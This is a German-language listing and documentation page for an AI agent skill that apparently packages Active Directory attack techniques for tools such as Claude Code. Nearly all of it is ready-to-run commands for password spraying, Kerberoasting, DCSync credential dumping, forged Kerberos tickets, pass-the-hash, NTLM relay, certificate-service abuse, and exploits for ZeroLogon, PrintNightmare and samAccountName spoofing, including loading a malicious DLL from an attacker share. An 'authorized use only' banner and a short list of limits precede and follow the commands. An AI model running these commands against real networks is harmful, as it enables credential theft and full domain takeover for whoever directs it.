Communitygithub.com

SamuelChien/mega-skills-collection

Bietet umfassende Techniken für Angriffe auf Microsoft Active Directory-Umgebungen. Deckt Reconnaissance, Credential Harvesting, Kerberos-Angriffe, laterale Bewegung, Privilegieneskalation und Domänenkontrolle für Red-Team-Operationen und Penetrationstests ab.

Was ist mega-skills-collection?

Diese Fähigkeit beschreibt eine umfassende Toolbox für Angriffe auf Microsoft Active Directory (AD)-Umgebungen und richtet sich an Red Team-Sicherheitsexperten und Penetrationstester. Sie deckt den gesamten Angriffslebenszyklus ab: von der Reconnaissance und Credential-Harvesting über Kerberos-Angriffe (Golden/Silver Ticket, Kerberoasting, AS-REP Roasting) bis hin zu lateraler Bewegung und Domänenübernahme. Die Fähigkeit unterstützt gängige Angriffsplattformen wie Kali Linux und Windows und nutzt etablierte Tools wie Impacket, Mimikatz, BloodHound und CrackMapExec. Der Workflow ist in klare, aufeinander aufbauende Schritte gegliedert, die jeweils konkrete Befehle und Kommandozeilenbeispiele enthalten, inklusive kritischer CVE-Exploits wie ZeroLogon und PrintNightmare. Die bereitgestellten Techniken ermöglichen es einem Sicherheitsanalysten, AD-Schwachstellen systematisch zu identifizieren, auszunutzen und die volle Kontrolle über die Domäne zu erlangen, wobei gleichzeitig Einschränkungen und ethische Richtlinien klar kommuniziert werden.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/SamuelChien/mega-skills-collection/tree/HEAD/active-directory-attacks

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

NUR FÜR AUTORISIERTE VERWENDUNG: Verwenden Sie diese Fähigkeit ausschließlich für autorisierte Sicherheitsbewertungen, defensive Validierung oder kontrollierte Bildungsumgebungen.

Active Directory Angriffe

Zweck

Bietet umfassende Techniken für Angriffe auf Microsoft Active Directory-Umgebungen. Deckt Reconnaissance, Credential Harvesting, Kerberos-Angriffe, laterale Bewegung, Privilegieneskalation und Domänenkontrolle für Red-Team-Operationen und Penetrationstests ab.

Eingaben/Voraussetzungen

  • Kali Linux oder Windows Angriffsplattform
  • Domänenbenutzer-Anmeldedaten (für die meisten Angriffe)
  • Netzwerkzugriff auf den Domänencontroller
  • Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Ausgaben/Liefergegenstände

  • Domänen-Erkundungsdaten
  • Extrahierte Anmeldedaten und Hashes
  • Kerberos-Tickets für die Identitätsanmaßung
  • Domänenadministrator-Zugriff
  • Mechanismen für dauerhaften Zugriff

Essentielle Werkzeuge

WerkzeugZweck
BloodHoundVisualisierung von AD-Angriffspfaden
ImpacketPython-AD-Angriffswerkzeuge
MimikatzExtraktion von Anmeldedaten
RubeusKerberos-Angriffe
CrackMapExecNetzwerkausnutzung
PowerViewAD-Erkundung
ResponderLLMNR/NBT-NS-Vergiftung

Kern-Workflow

Schritt 1: Kerberos-Zeitsynchronisation

Kerberos erfordert eine Zeitsynchronisation (±5 Minuten):

# Uhrenversatz erkennen
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Uhr unter Linux korrigieren
sudo date -s "14 APR 2024 18:25:16"

# Uhr unter Windows korrigieren
net time /domain /set

# Gefälschte Uhr, ohne die Systemzeit zu ändern
faketime -f '+8h' <Befehl>

Schritt 2: AD-Erkundung mit BloodHound

# BloodHound starten
neo4j console
bloodhound --no-sandbox

# Daten mit SharpHound sammeln
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python-Collector (von Linux aus)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Schritt 3: PowerView-Erkundung

# Domäneninfo abrufen
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Benutzer auflisten
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Gruppen auflisten
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Lokalen Administrationszugriff finden
Find-LocalAdminAccess -Verbose

# Benutzer-Jagd
Invoke-UserHunter
Invoke-UserHunter -Stealth

Credential-Angriffe

Passwort-Spraying

# Mit kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Mit CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

TGS-Tickets von Dienstkonten extrahieren und offline knacken:

# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Mit hashcat knacken
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Zielt auf Konten, die "Keine Kerberos-Preauthentifizierung erforderlich" haben:

# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Mit hashcat knacken
hashcat -m 18200 hashes.txt rockyou.txt

DCSync-Angriff

Extrahiert Anmeldedaten direkt vom Domänencontroller (erfordert Replikationsverzeichnisänderungs-Rechte):

# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos-Ticket-Angriffe

Pass-the-Ticket (Golden Ticket)

TGT mit krbtgt-Hash für jeden Benutzer fälschen:

# Zuerst krbtgt-Hash via DCSync abrufen
# Mimikatz - Golden Ticket erstellen
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]

Silver Ticket

TGS für einen bestimmten Dienst fälschen:

# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

NTLM-Hash in Kerberos-Ticket umwandeln:

# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM-Relay-Angriffe

Responder + ntlmrelayx

# Responder starten (SMB/HTTP für Relay deaktivieren)
responder -I eth0 -wrf

# Relay starten
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP-Relay für Delegationsangriff
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB-Signierungsprüfung

crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Zertifikatsdienste-Angriffe (AD CS)

ESC1 - Fehlkonfigurierte Vorlagen

# Verwundbare Vorlagen finden
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# ESC1 ausnutzen
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# Mit Zertifikat authentifizieren
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Webanmeldungs-Relay

ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Kritische CVEs

ZeroLogon (CVE-2020-1472)

# Verwundbarkeit prüfen
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Ausnutzen
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Hashes extrahieren
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# Passwort wiederherstellen (wichtig!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

# Auf Verwundbarkeit prüfen
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Ausnutzen (erfordert Hosting einer schädlichen DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'

samAccountName-Spoofing (CVE-2021-42278/42287)

# Automatisierte Ausnutzung
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

Kurzreferenz

AngriffWerkzeugBefehl
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
Golden TicketMimikatzkerberos::golden /user:Admin /krbtgt:HASH
Spraykerbrutekerbrute passwordspray -d domain users.txt Pass

Einschränkungen

Muss:

  • Uhrzeit mit DC vor Kerberos-Angriffen synchronisieren
  • Gültige Domänenanmeldedaten für die meisten Angriffe haben
  • Alle kompromittierten Konten dokumentieren

Darf nicht:

  • Konten durch übermäßiges Passwort-Spraying sperren
  • Produktions-AD-Objekte ohne Genehmigung ändern
  • Golden Tickets ohne Dokumentation hinterlassen

Sollte:

  • BloodHound zur Angriffspfad-Erkennung ausführen
  • Vor Relay-Angriffen auf SMB-Signierung prüfen
  • Patch-Level für CVE-Ausnutzung überprüfen

Beispiele

Beispiel 1: Domänenkompromittierung via Kerberoasting

# 1. Dienstkonten mit SPNs finden
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. TGS-Tickets anfordern
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Tickets knacken
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Geknacktes Dienstkonto verwenden
psexec.py domain.local/svc_admin:[email protected]

Beispiel 2: NTLM-Relay zu LDAP

# 1. Relay starten mit Ziel LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Authentifizierung auslösen (z.B. via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Erstelltes Maschinenkonto für RBCD-Angriff nutzen

Fehlerbehebung

ProblemLösung
Uhrenversatz zu großUhrzeit mit DC synchronisieren oder faketime verwenden
Kerberoasting liefert leeres ErgebnisKeine Dienstkonten mit SPNs
DCSync-Zugriff verweigertReplikationsverzeichnisänderungs-Rechte erforderlich
NTLM-Relay fehlgeschlagenSMB-Signierung prüfen, LDAP-Ziel versuchen
BloodHound leerÜberprüfen, ob Collector mit korrekten Anmeldedaten ausgeführt wurde

Zusätzliche Ressourcen

Fortgeschrittene Techniken einschließlich Delegationsangriffen, GPO-Missbrauch, RODC-Angriffen, SCCM/WSUS-Bereitstellung, ADCS-Ausnutzung, Vertrauensbeziehungen und Linux-AD-Integration finden Sie unter references/advanced-attacks.md.

Verwendung

Diese Fähigkeit ist anwendbar, um den im Überblick beschriebenen Workflow oder die beschriebenen Aktionen auszuführen.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

SamuelChien/mega-skills-collection

Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.

SamuelChien/mega-skills-collection

Arquitecto de Soluciones Principal y Consultor Tecnológico de Andru.ia. Diagnostica y traza la hoja de ruta óptima para proyectos de IA en español.

SamuelChien/mega-skills-collection

Ingeniero de Sistemas de Andru.ia. Diseña, redacta y despliega nuevas habilidades (skills) dentro del repositorio siguiendo el Estándar de Diamante.

SamuelChien/mega-skills-collection

Estratega de Inteligencia de Dominio de Andru.ia. Analiza el nicho específico de un proyecto para inyectar conocimientos, regulaciones y estándares únicos del sector. Actívalo tras definir el nicho.

SamuelChien/mega-skills-collection

2D game development principles. Sprites, tilemaps, physics, camera.

SamuelChien/mega-skills-collection

3D game development principles. Rendering, shaders, physics, cameras.

SamuelChien/mega-skills-collection

Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences.

SamuelChien/mega-skills-collection

Accessibility audit skill for scanning, fixing, and verifying WCAG 2.2 Level A and AA compliance across React, Next.js, Vue, Angular, Svelte, and plain HTML codebases. Use when auditing accessibility, fixing a11y violations, checking color contrast, generating compliance reports, or integrating accessibility checks into CI/CD pipelines.

SamuelChien/mega-skills-collection

Ab Test Analyzer - Auto-activating skill for Data Analytics. Triggers on: ab test analyzer, ab test analyzer Part of the Data Analytics skill category.

SamuelChien/mega-skills-collection

A B Test Config Creator - Auto-activating skill for ML Deployment. Triggers on: a b test config creator, a b test config creator Part of the ML Deployment skill category.

SamuelChien/mega-skills-collection

When the user wants to plan, design, or implement an A/B test or experiment. Also use when the user mentions "A/B test," "split test," "experiment," "test this change," "variant copy," "multivariate test," "hypothesis," "conversion experiment," "statistical significance," or "test this." For tracking implementation, see analytics-tracking.

SamuelChien/mega-skills-collection

Acceptance Criteria Creator - Auto-activating skill for Enterprise Workflows. Triggers on: acceptance criteria creator, acceptance criteria creator Part of the Enterprise Workflows skill category.

SamuelChien/mega-skills-collection

Use when a coding task should be driven end-to-end from issue intake through implementation, review, deployment, and acceptance verification with minimal human re-intervention.

SamuelChien/mega-skills-collection

Accessibility Audit Runner - Auto-activating skill for Frontend Development. Triggers on: accessibility audit runner, accessibility audit runner Part of the Frontend Development skill category.

SamuelChien/mega-skills-collection

You are an accessibility expert specializing in WCAG compliance, inclusive design, and assistive technology compatibility. Conduct audits, identify barriers, and provide remediation guidance.

SamuelChien/mega-skills-collection

Web accessibility patterns for WCAG 2.2 compliance including ARIA, keyboard navigation, screen readers, and testing

SamuelChien/mega-skills-collection

Manage Discord channel access — approve pairings, edit allowlists, set DM/group policy. Use when the user asks to pair, approve someone, check who's allowed, or change policy for the Discord channel.

SamuelChien/mega-skills-collection

Create unified specification packages across Business, Development, and Design teams. Staged elaboration (L0 Vision → L1 Requirements → L2 Team Detail → L3 Acceptance Criteria) to build shared understanding. Does not write code.

SamuelChien/mega-skills-collection

Research a company or person and get actionable sales intel. Works standalone with web search, supercharged when you connect enrichment tools or your CRM. Trigger with "research [company]", "look up [person]", "intel on [prospect]", "who is [name] at [company]", or "tell me about [company]".

SamuelChien/mega-skills-collection

Validate messaging consistency across website, GitHub repos, and local documentation generating read-only discrepancy reports. Use when checking content alignment or finding mixed messaging. Trigger with phrases like "check consistency", "validate documentation", or "audit messaging".

Verwandte Skills